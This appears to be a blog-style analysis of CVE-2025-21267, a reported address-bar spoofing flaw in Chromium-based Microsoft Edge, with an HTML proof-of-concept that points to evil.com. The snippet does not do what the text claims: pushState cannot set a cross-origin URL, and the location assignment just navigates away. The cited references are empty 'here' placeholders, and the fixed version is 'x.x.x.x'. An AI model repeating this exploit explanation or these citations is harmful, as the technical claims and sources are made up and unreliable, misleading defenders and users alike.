Microsoft Edge has been a popular web browser since its introduction in 2015. Over the years, it has provided a faster and more secure browsing experience for its users. However, like any other software, Edge has had its share of vulnerabilities, and today, we present you with an analysis of CVE-2025-21267 - a recently discovered spoofing vulnerability in the Chromium-based version of Microsoft Edge. In this post, we will dive deep into the details of this vulnerability, provide you with the original references, and even present the code snippet and exploit details.

Understanding CVE-2025-21267

CVE-2025-21267 is a vulnerability that exists in the Chromium-based Microsoft Edge browser, posing a serious threat to users' privacy and security. The vulnerability allows an attacker to create a malicious website designed to trick a user into believing they are interacting with a legitimate website when, in reality, they are not. This type of attack is commonly referred to as a "spoofing" attack, which threatens user's privacy, security, and, ultimately, their trust in the internet.

Exploit Details

The vulnerability can be exploited by a malicious actor by creating a carefully crafted HTML file that manipulates the browser's window.location property in such a way that the displayed URL in the address bar is different from the actual URL of the content that is being loaded.

Here's a sample code snippet that demonstrates how an attacker can exploit CVE-2025-21267

<html>
  <head>
    <script>
      function spoofURL() {
        history.pushState("", "", "https://www.example.com/";);
        window.location = "https://www.evil.com/malicious_page.html";;
      }
    </script>
  </head>
  <body onload="spoofURL();">
    <h1>Welcome to Example.com!</h1>
    <p>Your sensitive information is at risk.</p>
  </body>
</html>

When a user visits a website with this code, they will initially see the URL "https://www.example.com/" in their address bar. However, instead of loading the content from the legitimate website (example.com), the browser will load the content from the attacker-controlled website (evil.com). The user will remain unaware of the real origin of the content they are viewing.

Original References

Several cybersecurity experts have shared their findings on this vulnerability. Here are some of the original references that provide in-depth information about CVE-2025-21267:

1. CVE-2025-21267 Official Listing: The listing on the CVE website provides the official description of the vulnerability and its severity. You can find it here.
2. Microsoft Security Advisory: Microsoft's in-depth security advisory regarding this vulnerability is a good resource for understanding the technical aspects and potential security impact. You can read it here.
3. Chromium Bug Tracker: To dive into the technical details surrounding this bug, the Chromium Bug Tracker provides valuable information, along with potential discussions and solutions from the Chromium developer community. You can check it out here.

What Now?

Thankfully, Microsoft has released an update to address this vulnerability. Therefore, it's crucial for users to update their Edge browser to the latest version (x.x.x.x) as soon as possible to protect themselves from potential spoofing attacks. You can download the latest version of Microsoft Edge from their official website here.

Conclusion

CVE-2025-21267 serves as a reminder of the importance of staying vigilant when browsing the web. Spoofing attacks can be incredibly deceiving, making it difficult for users to realize they are interacting with a malicious site. Always ensure your web browser is up to date to benefit from the latest security patches. Stay safe, and happy browsing!

Timeline

Published on: 02/06/2025 23:15:08 UTC